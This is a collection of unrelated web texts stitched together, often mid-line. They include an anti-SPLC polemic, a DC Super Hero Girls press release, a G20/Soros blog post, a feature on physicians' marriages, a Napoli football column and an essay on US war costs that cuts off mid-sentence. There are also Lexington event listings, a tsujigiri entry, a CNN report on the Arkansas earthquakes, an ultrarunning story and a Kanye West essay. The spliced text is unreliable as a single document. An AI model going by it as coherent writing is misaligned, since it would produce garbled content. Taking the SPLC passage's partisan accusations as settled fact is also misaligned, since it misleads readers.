In a 2016 interview with the Tablet, the aforementioned Maajid Nawaz stated that the SPLC staffers who had collaborated on writing the Field Guide to Anti-Muslim Extremists were “a bunch of first-world, comfortable liberal Americans who are not Muslims [and] have decided from their comfortable perch to label me, an activist who is working within his Muslim community to push back against extremism, an anti-Muslim extremist.” Emphasizing that because SPLC's blacklist had “put a target on my head,” Nawaz said he believed that his own life was now in danger: “This is what putting people on lists does. When Theo Van Gogh was killed in the Netherlands, a list was stuck to his body that included Ayaan Hirsi Ali’s name. It was a hit list. When Bangladeshi reformers were hacked to death by jihadist terrorists, they were working off lists.” “The left is no longer about advancing progressive values,” Nawaz added. “For them, it’s now about tribal identities, and any internal critique is seen as treachery.”
It is worth noting the serious ramifications that had previously occurred when SPLC in 2012 listed the conservative Family Research Council (FRC) as a hate group. On the morning of August 15, 2012, a domestic terrorist named Floyd Corkins walked into FRC's Washington, DC headquarters carrying a pistol and 100 rounds of ammunition with the intention of “kill[ing] people in the building.” His plan was thwarted by an operations manager who physically tackled him to the ground. When an FBI agent subsequently asked Corkins why he had chosen to target FRC, the would-be killer replied: “It was a, uh, Southern Poverty Law lists, uh, anti-gay groups. I found them online. I did a little bit of research, went to the website. Stuff like that.”
Adhering to the theme of a profoundly hateful United States, SPLC charges that Latin American immigrants, who “perform some of the hardest, most dangerous jobs in our economy—for the least amount of pay,” are routinely “cheated out of their wages”; “denied basic protections in the workplace”; “subjected to racial profiling and harassment by law enforcement”; and “targeted for violent hate crimes.” These trends, says SPLC, have been “encouraged” by “politicians and media figures” guilty of spreading “false propaganda that scapegoats immigrants for our nation’s problems and foments resentment and hate against them.” The growth of this “civil rights crisis,” as SPLC calls it, “has been driven almost entirely by the immigration debate.” Conspicuously absent from the foregoing assertions is any acknowledgment that it is illegal immigration that sits at the heart of that debate.
SPLC derides the American Legion's opposition to illegal immigration and amnesty as “Legionnaires’ Disease”—even though the Legion fully supports opportunities for legal immigration. The Center similarly denounces the Minuteman Project—a nonviolent, volunteer effort initiated by private American citizens seeking to restrict the flow of illegal border-crossers—as an organization whose ideals and tactics are rooted in racism. The Arizona-based American Border Patrol, which monitors traffic across Southeastern Arizona's border with Mexico—the heart of a major smuggling corridor—is classified by SPLC as a “hate group” dominated by “anti-immigrant ideologues.” And Americans for Immigration Control, which contends that illegal immigration is a “lawless” phenomenon that “puts the future of our country in jeopardy,” is branded an “anti-immigrant” hate group.
As is typical of organizations on the left, SPLC is ever-prepared to label its political and ideological adversaries as purveyors of “hate” and “intolerance.” But in reality, that is nothing more than psychological projection. Hatred and intolerance for the opinions and values of others are prime components in the very lifeblood of SPLC.
Yet another major component of that lifeblood is money. Although SPLC possesses reserve assets valued at more than a quarter of a billion dollars, it spends, in comparison to other nonprofit organizations, an unusually small percentage of its revenues on actual program services—and a great deal on salaries, overhead, and fundraising. As The Weekly Standard reports: “CharityWatch, an independent organization that monitors and rates leading nonprofits for their fundraising efficiency, has consistently given the SPLC its lowest grade of 'F' (i.e., 'poor') for its stockpiling of assets far beyond what CharityWatch deems a reasonable reserve … to tide it over during donation-lean years.”
More than any other organization in America, the Southern Poverty Law Center has turned hate-based identity politics and grievance mongering into a highly profitable scam.
NOTE:
[1] Laird Wilcox, The Watchdogs (Olathe, KS: Editorial Research Service, 1998), p. 55.Credit: DC Comics
Credit: DC Comics
Press Release
Continuing the great momentum of the empowering DC Super Hero Girls universe, DC announced today at New York Comic Con (NYCC) a new Digital First comic book series DC SUPER HERO GIRLS: PAST TIMES AT SUPER HERO HIGH. The company will also publish a third original graphic novel DC SUPER HERO GIRLS: WONDER WOMAN: SUMMER OLYMPUS in 2017.
The new Digital First series launches today everywhere digital comics are sold and is written by fan-favorite writer Shea Fontana with art by Agnes Garbowska, Yancey Labat, and many more. Fontana is well versed in the DC Super Hero Girls universe, having written DC’s first original graphic novel and The New York Times bestseller DC SUPER HERO GIRLS: FINALS CRISIS. The highly anticipated second novel DC SUPER HERO GIRLS: HITS AND MYTHS hits stores November 1.
Credit: DC Comics
“I’m thrilled to work on this Digital First series because it focuses on two of my favorite DC Super Hero Girls characters, Harley and Batgirl,” said Fontana. “They’re an odd couple, but they make a fun dynamic duo as they team up to try and save Super Hero High. Through the story, we’ll explore what makes the Super Heroes tick and test the boundaries of their friendship. I’m also really excited to explore a new side of Bumblebee that hasn’t been seen before and can’t wait for fans to see so much of her heroic heart.”
DC SUPER HERO GIRLS: PAST TIMES AT SUPER HERO HIGH will follow iconic DC characters Wonder Woman, Supergirl, Batgirl, Harley, Katana, Bumblebee and Ivy as they embark on a time traveling mission that goes haywire, leading the teen superheroes on a wild goose chase through time in hopes to restore order at present-day Super Hero High. The series will debut new digital chapters every other Wednesday and fans can download the first chapter for free by visiting readcentertainment.com/redeem and using the special promotion code: PASTTIMES. Following the digital run, the comic will be collected into a print graphic novel in 2017.
Also announced at NYCC today, DC will continue its bestselling DC Super Hero Girls original graphic novel series with a third installment, DC SUPER HERO GIRLS: WONDER WOMAN: SUMMER OLYMPUS. Fontana and artist Yancey Labat will unite for the third volume, slated to be released summer 2017.
Here are the official descriptions for DC SUPER HERO GIRLS: PAST TIMES AT SUPER HERO HIGH and DC SUPER HERO GIRLS: WONDER WOMAN: SUMMER OLYMPUS
Credit: DC Comics
DC SUPER HERO GIRLS: PAST TIMES AT SUPER HERO HIGH
For Liberty Belle’s “History of Heroes” class, WONDER WOMAN, SUPERGIRL, BATGIRL, HARLEY, KATANA, BUMBLEBEE and IVY take a time machine to learn about the past, up close and personal. But when the girls can’t help themselves from intervening in a past battle, they alter the course of history. When they return to the present, they find that Super Hero High is now run by VANDAL SAVAGE! The girls will have to ping-pong through time, trying to find the right way to restore order—and Amanda Waller—to Super Hero High.
Writer: Shea Fontana
Artists: Agnes Garbowska, Yancey Labat, and more to be announced
On Sale: The first chapter is available for download now via the DC App, Readdcentertainment.com, iBooks, comiXology.com, Google Play, Kindle Store, and Nook Store.
DC SUPER HERO GIRLS: WONDER WOMAN: SUMMER OLYMPUS
School’s out for summer, which means WONDER WOMAN has to take her annual trip to visit her dad, ZEUS. Wonder Woman usually feels like an outsider among the gods and goddess of her paternal family (and she hates the constant barrage of “You’ve gotten so big! How tall are you now?”), so she’s thrilled when Zeus says she can bring a few friends along. When the girls arrive at Olympus, it’s not long before the family reunion devolves into a family competition. When jealous ARES enters the scene and stokes the fires of distrust, the family feud turns into a battle for Wonder Woman’s soul! The gods offer Wonder Woman the ability to become “full goddess” and increase her powers – but at the cost of renouncing her life at Super Hero High. Will Wonder Woman refuse the offer, and if she does, might this mean war on Super Hero High? When Ares and STRIFE work their battle-magic on Wonder Woman’s friends, it’s super hero girl against super hero girl in the battle for Metropolis!
Writer: Shea Fontana
Artist: Yancey Labat
On Sale: July 11, 2017
US $9.99Lotsa pressure on world leaders to save the world when they meet at the G20 next week.
Given the lack of consensus about how to fix the economy, and the fact that various countries have different priorities, it seems like a long shot that they'll agree on anything -- or that if they do agree on something, that it'll happen to be the silver bullet.
Already, there are signs that no consensus will be reached. Germany's Angel Merkel, for one, is sounding particularly strident in her opposition to a "global New Deal", which is what the US and the UK would like to see.
But George Soros says it's the last chance to save the world, and that if they don't the world could face a depression worse than the 30s:
Times of London: The G20 summit in London next week is, he says, the last chance to avert disaster. "The odds would favour that it fails because there are such differences of opinion. It's difficult enough to get it right in your own country let alone with 20 governments coming together, but if it's a failure I think then the global financial and trading system falls apart."
If the G20 is nothing but a talking shop then he thinks we are heading for meltdown. "That could push the world into depression. It's really a make-or-break occasion. That's why it's so important." The chances of a depression are, he says, "quite high" - even if that is averted, the recession will last a long time. "Look, we are not going back to where we came from. In that sense it's going to last for ever."
On a somewhat more amusing note, we liked his explanation for how he knew when the market was about to turn:
He tells us that he has psycho-somatic illnesses - backaches and pains - that tip him off to changes in the market. "It's as if you're a jungle animal, and you see another animal facing you. You have to make a decision: fight or flight? Your hair stands up and you growl and you decide, 'Am I going to attack because I'm stronger or am I going to run away because otherwise he's going to eat me?' You are very tense. And that's the tension that gives you the backache."
Read the whole thing >Psychologist Tony Ferretti, PhD, who specializes in relationship counseling, says a significant portion—roughly one-quarter—of his clientele are physicians.
“I see physicians, attorneys, entrepreneurs and CEOs,” says Dr. Ferretti, co-author of Change Your Life, Not Your Wife: Marriage Saving Advice for Success-Driven People. “These are highly successful people who stink in relationships. The characteristics that enable them to be successful in their careers don’t bode well in their marriage. They are very competitive, they are intense, they are perfectionistic and they are critical. These qualities can serve them well in their career endeavors, but they don’t serve them well in relationships.”
Successful couples often neglect to nurture their relationships to the same degree that they nurture their careers, notes Terrence Real, a therapist and author of The New Rules of Marriage.
Understandably, some DOs may have a hard time summoning the energy for tenderness after spending 12-plus hours helping sick people and fending off threats to life.
“After career, after kids, after squeezing in a little self-care at the gym, you come home and your relationship comes last,” Real says. “Most of the people I see in therapy are highly successful individuals who have done marvelously in their professional lives and made a mess of their personal lives. You have to really be devoted to your relationship.”
But Real notes that nearly all physicians have great stores of resilience and perseverance, which will help them make time for their relationships.
“You don’t get through medical school and residency without the capacity to rise to the occasion when you’re bone-weary,” he says.
Despite their career challenges, physicians are more likely than the general public to be coupled. More than 80% of male physicians and more than 70% of female physicians are married, according to a recent Medscape report. Among the U.S. general population, a little more than half of men and women are married or separated, according to the U.S. Census.
Here are the ways some DOs sustain the spark and minimize work-related conflict in their marriages.
Staying connected
Emily Fleming, DO, met her future husband, Nicholas Fleming, DO, in 2007 during the pair’s orientation at the Midwestern University/Chicago College of Osteopathic Medicine in Downers Grove, Ill. After bonding over their mutual love of the ocean—she is from south Florida, and he grew up in Northern California—the couple began dating. They married in 2010 between their third and fourth years of medical school.
Dr. Fleming says she and her husband maintain their connection amid intense schedules—they are now both in residency—by going to bed at the same time every night.
“Whenever we are both on a day schedule, we try to go to bed at the same time,” she says. “Sometimes the conversations you have right before the lights turn out are the best ones of the day because you’re not focusing on logistics or anything. You’re able to just talk about things that are important to you.”
Communication is also key to retaining closeness, Dr. Fleming says.
“A piece of advice I was given that has taken me the furthest is to never stop communicating with each other,” she says. “Even if it’s hard—and a lot of times it is hard to say the things that you fear might be hurtful to the other person—it’s more important to talk about things than to let them fester and build resentment.”
Fortify your marriage: Resources If you're looking for more advice and strategies to strengthen your union, the following links may offer useful guidance. Project Happily Ever After : After saving her own marriage, journalist Alisa Bowman started this marriage advice website.
: After saving her own marriage, journalist Alisa Bowman started this marriage advice website. Cinema therapy : Couples who watched and discussed romantic movies cut their divorce risk just as much as those who tried more traditional marriage counseling programs, a recent study by researchers at the University of Rochester and UCLA found. Want to try their movie program? You can follow the instructions here.
: Couples who watched and discussed romantic movies cut their divorce risk just as much as those who tried more traditional marriage counseling programs, a recent study by researchers at the University of Rochester and UCLA found. Want to try their movie program? You can follow the instructions here. 21-day relationship challenge : Author Gretchen Rubin, who writes about happiness, designed the challenge. You can sign up to receive 21 free daily tips on rejuvenating your relationship.
: Author Gretchen Rubin, who writes about happiness, designed the challenge. You can sign up to receive 21 free daily tips on rejuvenating your relationship. Resource clearinghouses : The National Healthy Marriage Resource Center and its sister website, TwoOfUs.org, compile information and resources on marriage and relationships. The sites received funding from the U.S. Department of Health and Human Services.
: The National Healthy Marriage Resource Center and its sister website, TwoOfUs.org, compile information and resources on marriage and relationships. The sites received funding from the U.S. Department of Health and Human Services. Getaways: Here's a rundown of some of the most popular U.S. marriage retreats. —Rose Raymond
Couples who have strong marriages, Dr. Ferretti says, make their relationship a priority and take responsibility for their actions.
“Many couples want to blame each other,” he says. “They want to justify their behavior, and they’re often very defensive. These are often red flags and not good signs. But if they take responsibility and say, ‘I know the problem is not all my spouse’s. I’m guilty too—I mess up, I’m not attentive enough,’ that’s a good sign because they’re taking some personal responsibility for the problems.”
Infidelity is often a factor in troubled marriages between successful individuals, Dr. Ferretti notes. Roughly a quarter of heterosexual men and nearly 20% of heterosexual women have strayed from their relationship, a 2011 study in the Archives of Sexual Behavior found. Professionals in high-powered positions are more likely to cheat than their less-dominant counterparts, according to a 2011 Psychological Science study.
An affair is often a symptom of a deeper problem, though—neglect of the relationship by one or both parties, Dr. Ferretti says.
“The expression is that the grass is greener on the other side of the fence,” he says. “Well, it’s greener because you’re not watering your own grass.”
Real agrees.
“A lot of marriages degenerate because of rot,” he says. “They are just not cared for. Make sure that you have a date night once a week. Make sure that you have sensual time once a week. Make sure that you sit down with a glass of wine, put your feet up and talk to each other for half an hour a few times a week. Cherish the relationship and maintain it. You have to brush your teeth in the morning and in the evening, and you have to talk to your partner in the morning and in the evening. If you don’t, crud starts to build up.”
With six young children, Christine P. Newman, DO, and her husband, Thomas L. Newman, DO, find booking a weekly date to be a challenge if not an impossibility, so the couple plan twice-yearly overnight mini-vacations.
“We book a hotel room in Philadelphia, and we’re gone for 24 hours,” Dr. Christine Newman says. “We just talk to each other, and we go out to eat and walk around. It’s so hard to find that 24 hours with all of our children’s sports schedules, but it’s worth every penny if we can do it.”
On a recent sojourn, the Newmans, who live in Meadowbrook, Pa., had coffee and macarons at a French patisserie in Philadelphia, walked around the city, ate seafood and went for a long run.
Managing a private interventional pain management clinic in Dallas keeps Pablo Patricio Zeballos, DO, very busy, and when he’s not working he’s often coaching his son’s or daughter’s soccer team. So Dr. Zeballos plans a date night, usually once every two weeks, with his wife of 11 years, Laura Spies Zeballos, DO. They often go to the Capital Grille, where his wife orders the lobster and her favorite dessert, coconut cream pie.
“We have to work to set some time for ourselves to reconnect,” Dr. Zeballos says. “Sometimes we lose track of that because we’re so busy. We have to say, ‘OK, we haven’t been on a dinner date in three weeks.’ We have to plan it. You really have to find time to be together, otherwise you start losing the connection that you have and start losing who you are together.”
Around the house
Dr. Zeballos and his wife also enjoy cooking together. They have a deal: When one person cooks, the other cleans up.
Dr. Fleming and her husband take turns as chef and dishwasher as well. The couple established this and other rules to divide household work because it’s where they struggle the most in their marriage, she says. Talking about housework and splitting it up before resentment builds has helped.
“Our biggest challenge is figuring out the most equitable division of labor at home since we both work,” Dr. Fleming says. “I’m much more inclined to do a lot of the things around the house than my husband is. But at the same time, since I’m also working just as many hours as he is, it’s difficult for me because I feel like I have two jobs.”
The Flemings’ situation is not uncommon.
“Research has found that typically, even when both parties work, the female bears more of the household chores and the caretaking of children, which is just not fair,” Dr. Ferretti says. “Try to pitch in more and help out more. If both parties have careers, be respectful of that and to try to work as a team.”
And if one partner stays at home while the other works, the contributions of the partner at home need to be acknowledged, Dr. Ferretti notes.
“Value your partner’s contributions,” he says. “Do not devalue your partner. The worst thing you could say is, ‘Look, I make the money, so I’m going to decide whether we make this purchase.’ “
Avoiding jealousy
Whether one or both partners work, professional jealousy can undermine a relationship, especially if either person has a competitive streak, Dr. Ferretti says.
“Successful people often tend to compare themselves with others,” he says. “One of my suggestions would be to recognize that you’re on the same team. You shouldn’t be competing; you should be working together as a team. That’s part of a healthy relationship and a healthy marriage.”
Dr. Zeballos says he and his wife have adopted this attitude.
“Whoever has more success financially or professionally, we know that their success is for the benefit of the family,” he says. “That’s why we’ve never had to deal with jealousy. We congratulate each other, we look out for each other.”
Dr. Zeballos says his wife finished residency first, so for about two years, she was making roughly three times his salary. At that time, he felt appreciative, not envious, he says, because he knew the money she was earning would help their family.
“Now that I’m working full time and she’s not, she appreciates what I do because it’s for the family,” he says. “I work hard so we can send our kids to private school.”
But if you do find yourself occasionally seething over your partner’s success, don’t despair, Real says.
“Most humans have mixed feelings about virtually everything,” he says. “It’s useful to say ‘a part of me.’ ‘A part of me feels anguish about the award you just got, a part of me is jealous, and a part of me is tickled pink.’ It’s rare that somebody would just feel competitive and jealous and nothing more. The trick is to acknowledge your feelings and also put them in their place and keep perspective.”
Whose career comes first?
Aside from jealousy, other career-related problems can emerge when one or both members of a romantic partnership have professional careers, including disagreement about whose career goals will take priority.
Dr. Fleming and her husband had to hash out their professional plans before their marriage, and they still struggle. She is in the Air Force, and military careers tend to be less flexible than those of civilians.
Successful people often tend to compare themselves with others. You shouldn’t be competing; you should be working together.
Dr. Fleming is now in her third year of an emergency medicine residency with the Air Force in San Antonio. Her husband matched into a physical medicine and rehabilitation residency at the University of Texas Health Science Center at San Antonio. His willingness to go where her work brings her has made their marriage easier.
“I have to give props to my husband,” she says. “He’s agreed that we’re going to do whatever we can to be able to stay together, even if that means putting some of his career aspirations on hold for the time being. And when I finish my commitment to the Air Force four years from now, then we’ve agreed to let the tables turn a little bit, and he’ll get to make some of the choices.”
Joseph M. Hassman, DO, also took turns with his wife regarding their careers. He met his future wife, Lillian, in the 1950s when he was a teenage busboy in Atlantic City, N.J. The couple married young—Dr. Hassman was 20 and his wife was 17 on their wedding day. For many years, Dr. Hassman’s career took center stage as he attended medical school and residency and established a family medicine practice in Burling, N.J. His wife stayed home to raise their four children. But years later, she decided to become a social worker.
“My wife had a big burden running the house on her own. But when the children were grown, she went back to school,” Dr. Hassman says. “She got her bachelor’s and then her master’s of social work. And she helped in our practice. She was working with the county for 22 years, but she also worked part time for us. She would come one or two nights a week to see patients for counseling.”
Dr. Hassman says he and his wife stayed on track for 58 years by being willing to compromise and encouraging each other’s goals.
“My wife supported me 100% in my career, and I supported her 100% when she went back to school,” he says. “You have to be flexible and willing to give and take. That’s a successful marriage. I went my way in the medical field, and she went her way. You have to give each other space. Let each partner grow in his or her own way.”
While space is important, too much of it can lead to one or both spouses working too much and potentially weakening their bond. Dr. Zeballos and his wife have a system in place to avoid this. To maximize family time, the couple often plan late business meetings after their kids go to bed. And they make sure that one of them is always home with the kids.
“On weekends, my wife will ask me, ‘Pablo, when are your meetings this week?’ ” Dr. Zeballos says. “And I’ll ask her when her meetings are. We work as a team. If I know my wife has one or two meetings the following week, I’ll be the one taking care of the kids.
“If my wife sees that I’m having too many meetings, she will let me know. We help each other out to make sure our schedules don’t get out of hand.”
The system works, Dr. Zeballos notes, because he and his wife agreed long before they married that they would focus on family over their careers. Before getting married, couples should make sure their dreams align, he says.
“One of the reasons my wife and I work so well together is that we were best friends for a long time. Then we dated for a while, so we really knew what both of our goals were for the rest of our lives,” he says. “However, in other DO marriages, someone may want kids while his or her partner does not. Someone might want to work part time while the partner wants him or her to work full time. From the very beginning, you should know what each person wants.”Napoli have made it to the Champions League for the second time in three years. To get to the Champions League from Italy, you must be one of the top three in the league, and thus, most likely anyway, showed at least a few solid displays of football. The partenopei have played three rounds in Serie A this season, scoring nine goals and sharing the top spot with Roma. In other words, it seems as though people writing a Champions League preview -- whether by choice or having it assigned to them by their company -- might have seen Napoli play at least a couple times.
But a quick scan of previews focusing on Group F shatters those innocent illusions. The focus in these previews has been Rafa Benítez and his previous ability to manage a team to European trophies. That's usually combined with a statement about Edinson Cavani leaving in the summer, but assurances that Gonzalo Higuaín can compensate for the loss of the Uruguayan.
Out of twelve previews I read, eight of them did not mention Marek Hamšík (except, perhaps, to note that he, Higuaín and José Callejón have scored the goals this season). It's proof positive that a writer hasn't seen a Napoli match this season if they can discuss the partenopei chances without noting that it's Marek that is the orchestrator of the side and the one that creates the goals.
When reading these previews, I came across statements that were inaccurate, slightly muddled or just plain baffling. Here's a few of the best un-truths that should be addressed before Napoli take to the pitch against Dortmund on Wednesday night:
Club president Aurelio De Laurentiis has added wisely to the squad, with star signings Gonzalo Higuain and Dries Mertens giving the Azzurri more options going forward.
Well, yes. Mertens does give Napoli another option going forward...from the bench. But considering it's Callejón that has three goals in three matches, and Callejón that is quickly proving to be a game changer, perhaps it's the Spaniard that should be discussed, rather than throwing in a reference to Mertens just to prove there's more to Napoli than poaching players from Real Madrid.
Napoli are the only team in Serie A with a perfect record so far.
Had this preview been published on Monday, this statement might be forgiven. But with Roma's victory over Parma on Monday night, that makes two teams in Serie A with a perfect record. Sorry for wrecking your perfect parallel to Borussia Dortmund.
But if Dortmund scores one or even two before [Napoli] do, they will be demoralized. This is something they have to prevent from happening.
Oh, dear. Mazzarri-time, anyone? For the past few seasons, the partenopei have been famous for their last minute comebacks. Sure, there are a few new faces in the squad and Walter Mazzarri is no longer at the helm, but an opening goal from Dortmund isn't going to break the Napoli spine. They aren't a bunch of fresh-faced youngsters, looking around wide-eyed as the Champions League anthem plays. This is a team of experienced professionals that know how to get a job done. Look no further than the fightback against Chievo if you need proof.
Marek Hamsik is also expected to step back into the team at the expense of Giandomenico Mesto.
I don't even...what? Last time I checked, Mesto was playing right back while Hamsik plays in the center of a three man band, pulling the strings on the attack. But, hey, Christian Maggio will return in place of Mesto. I can see how that can be confusing, what with Maggio's new hair and all.
Napoli still need to get the hang of things and establish a form of team chemistry and will no doubt start off slowly.
Three wins in three games definitely signals that Napoli are off to a slow start. Hamšík's perfect passes to Callejón and Higuaín demonstrate a lack of chemistry, as does the sexy backheel from Blerim Dzemaili to assist in Callejón's latest. Save for the first half against Atalanta last time out, when Benítez rested five starters, this team has looked much more in sync than, say, fellow Group F competitors Arsenal, who we all know certainly didn't go through an overhaul this summer.
These players make Napoli a team who will hurt the opposition on counter attacks
Hmm. Well, Higuaín, Hamšík and Lorenzo Insigne are capable of hitting and hurting on the break. But c'mon...counterattacks are so last season, don't you think? The last time Napoli took the stage for the Champions League, they attracted plenty of attention for the way they sat back, waiting for the perfect moment to unleash a lethal counter. Rafa, however, has this side playing with more possession, attacking and pressing from the start rather than waiting for a perfect opportunity -- and (crossing fingers) a strategy that leaves the relatively frail defense less prone to being carved apart.When Donald Trump wanted to “do something” about the use of chemical weapons on civilians in Syria, he had the U.S. Navy lob 59 cruise missiles at a Syrian airfield (cost: $89 million). The strike was symbolic at best, as the Assad regime ran bombing missions from the same airfield the very next day, but it did underscore one thing: the immense costs of military action of just about any sort in our era.
While $89 million is a rounding error in the Pentagon’s $600 billion budget, it represents real money for other agencies. It’s more than twice the $38 million annual budget of the U.S. Institute of Peace and more than half the $149 million budget of the National Endowment of the Arts, both slated for elimination under Trump’s budget blueprint. If the strikes had somehow made us -- or anyone -- safer, perhaps they would have been worth it, but they did not.
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In this century of nonstop military conflict, the American public has never fully confronted the immense costs of the wars being waged in its name. The human costs -- including an estimated 370,000 deaths, more than half of them civilians, and the millions who have been uprooted from their homes and sent into flight, often across national borders -- are surely the most devastating consequences of these conflicts. But the economic costs of our recent wars should not be ignored, both because they are so massive in their own right and because of the many peaceable opportunities foregone to pay for them.
Even on the rare occasions when the costs of American war preparations and war making are actually covered in the media, they never receive the sort of attention that would be commensurate with their importance. Last September, for example, the Costs of War Project at Brown University’s Watson Institute released a paper demonstrating that, since 2001, the U.S. had racked up $4.79 trillion in current and future costs from its wars in Iraq, Afghanistan, Pakistan, and Syria, as well as in the war at home being waged by the Department of Homeland Security. That report was certainly covered in a number of major outlets, including the Boston Globe, the Los Angeles Times, the Atlantic, and U.S. News and World Report. Given its importance, however, it should have been on the front page of every newspaper in America, gone viral on social media, and been the subject of scores of editorials. Not a chance.
Yet the figures should stagger the imagination. Direct war spending accounted for “only” $1.7 trillion of that sum, or less than half of the total costs. The Pentagon disbursed those funds not through its regular budget but via a separate war account called Overseas Contingency Operations (OCO). Then there were the more than $900 billion in indirect war costs paid |
Fair was voted a top ten event by the Southeast Tourism Society. Learn more here.
The Bread Box Holiday Market is “a curated art market showcasing unique, handmade art & goods.” This market showcases Bread Box studio artists as well as local and regional talent.
Tweed Ride Social Cycling Lexington sponsors this festive Spring tradition. “Sport your finest tweedy attire and join us as we embark on a leisurely jaunt about the town on our velocipedes, randonneurs, pedersons, mixtes, bromptons, and more.” Join other upstanding citizens for a little fresh air and some great scenery. Check out Social Cycling’s facebook page here to keep current on this and other groovy cycling meet-ups like the monthly Moonlight Ride.
The Bourbon Social When you’re famous for two things, you better get ’em right. Kentucky is here to show you how bourbon is done. The Bourbon Social is “a celebration of Bourbon craft and culture, and the great people who share a love of America’s native spirit. Mix in a little Kentucky hospitality and the tasty foods we’re known for, and you’ve got one helluva party.” You’ve got 11 days and a multitude of events to pay proper homage. Check out more here.
Out of Doors
Shakertown Did you realize Shaker Village Preserve has 40 miles of trails for walking, hiking, running, cycling, and horseback riding? The trails are open daily from sunrise to sunset. Learn more here.
Red River Gorge Don’t miss the stunning rock formations, secret waterfalls, and caves of Red River Gorge. If you love rock climbing, this is your place. Red River Gorge has ziplines, miles of trails, camping, cabin rentals and the sandstone Natural Bridge. Plan your next trip here. After your Gorge adventure, refuel at the legendary Miguels Pizza. 1890 Natural Bridge Rd. Slade, KY
Legacy Trail is “a 12-mile walking, biking, interpretative trail and public art venue.” You can pick it up at the Issac Murphy Memorial Art Garden, East 3rd St., and take it all the way to the Kentucky Horse Park.
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SaveTsujigiri (辻斬り or 辻斬, literally "crossroads killing") is a Japanese term for a practice when a samurai, after receiving a new katana or developing a new fighting style or weapon, tests its effectiveness by attacking a human opponent, usually a random defenseless passer-by, in many cases during nighttime.[1] The practitioners themselves are also referred to as tsujigiri.[1]
In the medieval era, the term referred to traditional duels between bushi, but in the Sengoku period (1467–1600), widespread anarchy caused it to degrade into indiscriminate murder, permitted by the unchecked power of the bushi. Shortly after order was restored, the Edo government prohibited the practice in 1602. Offenders would receive capital punishment.[1] The only known incident where a very large number of people were indiscriminately killed in the Edo period was the 1696 Yoshiwara spree killing (吉原百人斬り), where a wealthy lord had a psychotic fit and murdered dozens of prostitutes with a katana. He was treated by authorities as a spree killer and sentenced to death. Later, a kabuki play was made about the incident.[2]
See also [ edit ](CNN) -- The Arkansas Geological Survey is trying to unravel a mystery: What is causing earthquakes in the town of Guy, Arkansas?
Since September 20, the community of 549 residents north of Little Rock has experienced an almost constant shaking from 487 measurable earthquakes.
"We've had 15 today including a 3.1 (magnitude) from this morning," Scott Ausbrooks, geohazards supervisor for the Geological Survey, said Monday. "These are shallow quakes between two and eight kilometers (between one-and-a-quarter and five miles) below the surface."
While earthquakes aren't unusual in the Southeast state, the frequency is.
"This time last year we had 39 quakes total for the entire state," said Ausbrooks.
Most of the quakes in the swarm -- a localized surge of earthquakes with all of them about the same magnitude, according to the United States Geological Survey -- are so small they go unnoticed. The largest, a 4.0 on October 11, caused the only documented damage, cracking a window at a visitor's center to a state park.
Guy Mayor Sam Higdon said when the swarm first happened, citizens took notice. "They were calling City Hall asking, "What are you going to do?'" he said.
In response to the constant bombardment of tiny quakes, Higdon's office has organized a three-hour long town meeting, and sought the help of state geologists and members of the oil and gas industry to find answers.
"My wife wants to buy earthquake insurance. I'm trying to talk her out of it," the mayor said Monday.
There are several geologic faults in the area, but none associated with the New Madrid fault, the large seismic fault in the region and one that was the source of an estimated 7.0-magnitude earthquake in 1811. And there was another historic flurry of earthquakes in 1982, 15 miles south of Guy. Geologists know it as the Enola Swarm, responsible for 15,000 quakes within a year's time, followed by more shaking in 2001.
At first, town officials assumed the current wave of shakes came from work at a gravel company on the outskirts of town.
Ausbrooks says the state Geological Survey has no idea whether the current swarm is a natural or man-made event, but his office is seriously exploring the latter. "We see no relation to the drilling in the area, but we haven't ruled out a connection to the salt water disposal wells," he said.
According to the Arkansas Oil and Gas Commission, there are at least a half dozen "disposal wells" within a 500-square-mile zone around Guy. Licensed by the state of Arkansas, disposal wells are a byproduct of the oil and gas industry and are used to inject drilling waste water back into the earth after drilling.
Ausbrooks said drillers inject waste water into the earth at high pressure, and in the area around the town the disposal wells go as deep as 12,000 feet. He points to incidents in Colorado in the 1960s at Rocky Mountain Arsenal, where deep water injection was tied to earthquakes.
Last week the state of Arkansas issued a moratorium on new drilling permits. Lawrence Bengal, director of the Arkansas Oil and Gas Commission, said previously his office required only monthly reports outlining the operations of injection wells.
"We're asking well operators to provide daily reports now," Benegal said.
Ausbrooks said his office is poring over the data trying to determine whether there is a correlation between the disposal wells and the shaking, and he hopes to present preliminary findings to the state next month.Photo: Myke Hermsmeyer
For the first 93 miles of last weekend’s Western States 100, 26-year-old Jim Walmsley was on pace to shatter the course record. Spectators following Walmsley’s progress—both along the trail in Northern California and via social media—were dumbfounded: Western States is considered one of the most competitive ultras in the world, and this was Walmsley’s first-ever 100-mile race. Then, just seven miles from the finish, he disappeared.
For well over an hour, an eternity even by ultrarunning standards, the Flagstaff native was nowhere to be found. Walmsley had missed a tight left turn and veered well off course. A crew of photographers finally spotted him lying on the 105-degree pavement of Highway 49. He’d given up the record, the lead, and, realistically, any chance of a top 10 finish.
Whereas some might have thrown in the towel, Walmsley zombie-walked his way back to the course and, eventually, to the finish line. We had the chance to talk with Walmsley to get an inside look at how it all unfolded.
Photo: Three weeks before the race, Walmsley left his home in Flagstaff, Arizona, to attend the Mountain Pulse Running Camp in Lake Tahoe, California. “I was coming off of by far the biggest and best training of my life, including back-to-back 140-mile weeks. My time in Tahoe was really great for sharpening the saw and just dialing in everything I’d need for a good race.”One Yeezy apologist's struggle to find answers.
A lot of people thought Kanye West's career was over after he infamously crashed the VMAs stage on September 13, 2009. I was a little shocked by the incident, but I was already too in the bag as a fan of West's to even think of convicting him of any real moral wrongdoing. Sure, he interrupted Taylor Swift's would-be career-defining moment, but West was the biggest and most influential star in music in the five years prior—what could really stop him? But the president called him a jackass, and he literally left the United States for months in the wake of the press onslaught, while I, person by person, did my best to explain how West had just been over enthusiastic in a Hennessy-induced moment. And, after all, when it came to Beyoncé's "Single Ladies" video, he was right, wasn't he? Thus began my long career as a Kanye West apologist, which in the wake of recent events, including his visit yesterday to meet with President-elect, may finally be over.
Since the "Taylor Swift incident," the so-called liberal mainstream media has even been guilty of bias—sometimes subtlety racial-driven in nature—against West. (When white rock stars are rude, vocal, and controversial, the media brands them as "rebels." When West does it, he's "crazy.") Yes, Kanye West is outspoken, but he's also the first to admit that he isn't always right. "We have the right to be wrong," he's uttered on several occasions. Despite the commonly held idea that Kanye West only cares about himself, he has many times sacrificed his own good-standing in culture to speak out on behalf of others, be it Beyonce, African-Americans, or the artist's community at large. So whether or not you agree with Kanye West's point of view, you can almost always guarantee it's his point of view, one that isn't twisted by endorsement deals or popular opinion.
